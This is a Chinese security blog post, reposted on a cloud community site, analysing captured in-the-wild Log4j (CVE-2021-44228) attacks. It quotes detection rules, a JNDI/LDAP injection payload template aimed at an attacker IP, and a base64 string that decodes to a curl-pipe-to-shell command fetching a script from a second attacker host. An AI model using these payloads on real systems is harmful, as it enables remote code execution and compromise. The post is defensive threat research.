前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >星期五实验室捕获Log4j RCE 在野0day攻击行为

星期五实验室捕获Log4j RCE 在野0day攻击行为

作者头像
乌鸦安全
发布2021-12-13 17:49:59
9710
发布2021-12-13 17:49:59
举报
文章被收录于专栏:乌鸦安全乌鸦安全

阅读须知

星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。

星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。

00前言

Apache Log4j2是一款优秀的Java日志框架。2021年12月9日晚间,国内不断有Apache Log4j2远程代码执行的漏洞利用的信息被大规模传播,据悉,该组件存在Java JNDI注入漏洞,攻击者可构造特殊攻击代码来攻击服务器。该漏洞危害高,利用方式简单。

星期五实验室第一时间在复现了该漏洞。

据悉,该漏洞危害极高,昨日受影响产品有:百度、苹果等大型企业。

01规则分析

目前网上已经公开Log4j RCE的入侵检测方法:

代码语言:javascript
复制
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034647; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034648; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp ldap) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034649; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (tcp rmi) (CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034650; rev:1; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp rmi) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|rmi|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034652; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

alert udp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache log4j RCE Attempt (udp ldap) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; reference:url,lunasec.io/docs/blog/log4j-zero-day/; reference:cve,2021-44228; classtype:attempted-admin; sid:2034651; rev:2; metadata:attack_target Server, created_at 2021_12_10, cve CVE_2021_44228, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2021_12_10;)

这些规则可以简单理解为匹配jndi或者是ldap等关键字,因此我们可以在日志中查找这些关键词,如果有,说明服务器资产可能受到过相应的攻击。

就在Log4j 漏洞的payload公开不久,星期五实验室已经捕获Log4j RCE 在野0day攻击样本。

以下为部分攻击行为,通过截图可以看到日志中攻击行为命中了对应的规则库。

在这里发现的是攻击ip:45.155.205.233的记录,其中包括了它的payload信息,服务器中查找这个ip最近一个月的访问信息:

统计发现,该ip从12月4日到现在访问了580次。访问内容涉及XXE,SSRF,反弹shell敏感信息请求,可以说业务很熟练了。

以下是一些相关访问记录。单纯从这个记录来看扫描的内容涉及各方面,应该是全网扫描了。

02IP威胁分析

在知名威胁情报平台virustotal可以看到,该ip情报显示具有很多的攻击行为。

代码语言:javascript
复制
https://www.virustotal.com/gui/url/be19de3cc91089b4020d73b3da59f5ac1bd4f4b77fee73558b9a703092ee2584/community

首先对该ip进行端口扫描发现,搭建了明显的ldap服务,允许匿名访问:

代码语言:javascript
复制
nmap -p 1-65535 -Pn -sV 45.155.205.233

尝试访问这个ldap服务,发现已经不能访问了,这里借用网上能访问的一张图片。

这里综合网络空间搜索引擎的识别结果,发现目标开放过22、80、123、3389、8088、9000端口。

shodan测绘结果中扫描到了9000端口,而该端口恰好有一些敏感信息。

代码语言:javascript
复制
eval -i 1 -- c2hlbGxfZXhlYygnY3VybCBodHRwOi8vNDUuMTM3LjE1NS41NS9leC5zaHxzaCcpOw==

对关键部分base64解码,猜测与反弹shell相关:

在这里看到,该特征行为是下载恶意文件并执行,通过情报分析发现,shodan12月5日就已经扫描到了该端口信息,在这里猜测这个漏洞应该更早之前就已经利用了。

有点遗憾,这个文件已经打不开了,到这里就发现有两个ip了,在服务器里面查询第二个ip的访问记录,发现没有相关信息。

值得一提的是,45.155.205.233这个ip已经被greynoise打上了Log4j RCE恶意利用的标签。

深入查看这个ip发现它对外发送的Log4j RCE payload语句多达1803条,这还只是有记录的攻击,没记录的不知道有多少。

45.137.155.55分析

通过信息搜集发现,该ip曾经开放过2280123443172380003389598588889100。且8000端口是个tor-socks代理,8888是个WinMX or Lopster Napster P2P client服务,9999端口有一个脚本,内容如下:

从这里又关联出来一个新的ip地址:194.38.20.199

综合网络测绘结果,发现194.38.20.199开放过22、80、110、123、143、3128、8080、9090、9998、9999、22222,其中22222端口是一个Java语言编写的jetty容器。其它没什么重要信息。而在9999端口有一个bash脚本。和上面那个脚本的内容是相同的。

03Payload简单分析

服务器日志中出现的paylaod有base64加密,解密即可:

代码语言:javascript
复制
jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/base64编码的内容

脚本相关命令解释:

代码语言:javascript
复制
-s 静默模式。不输出任何东西 -w 安静模式(没有输出) -O 把文档写到FILE文件中。

每个paylaod对应一个ip,联想到45.155.205.233已经发送了1800个paylaod,虽然有多个payload发送给了同一个ip,但是经过去重,这些payload还对应1200多个ip

编写脚本对那些payload解码,可以看到有些ip还是C段的。

对这些ip查询地理位置,大部分都位于美国....,没有国内ip。至于我的国内服务器收到paylaod日志信息,猜测是那个网站捕获攻击者发送的payload不是很全。

04总结

GitHub上面已经建立了一个Log4j RCE恶意扫描的黑名单,可以服务器日志看一下有没有他们的访问记录。

代码语言:javascript
复制
https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

之前遗憾http://45.137.155.55/ex.sh这个脚本下载不了,后来发现VT上面已经有人上传了,时间是12月7日。

代码语言:javascript
复制
https://www.virustotal.com/gui/file/8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef/details

评论区也证实之前可以下载:

后来经过一番查找,这个脚本还是找到了,内容确实很多........

用于捕获威胁攻击的服务器只收到了一种payload,更多payload信息请查看以下链接:

代码语言:javascript
复制
https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

05缓解措施

升级至 Apache Log4j 2.15.0-rc2 版本:

修复地址:

代码语言:javascript
复制
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

星期五实验室

星期五实验室成立于2017年,汇集众多技术研究人员,在工业互联网安全前瞻技术研究方向上不断进取。星期五实验室由海内外知名高校的学院精英及来自于顶尖企业的行业专家组成,且大部分人员来自国际领先、国内知名的黑客战队——浙大AAA战队。作为木链科技专业的技术研发团队,星期五实验室凭借精湛的专业技术水平,为产品研发提供新思路、为行业技术革新探索新方向。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-12-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 45.137.155.55分析
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档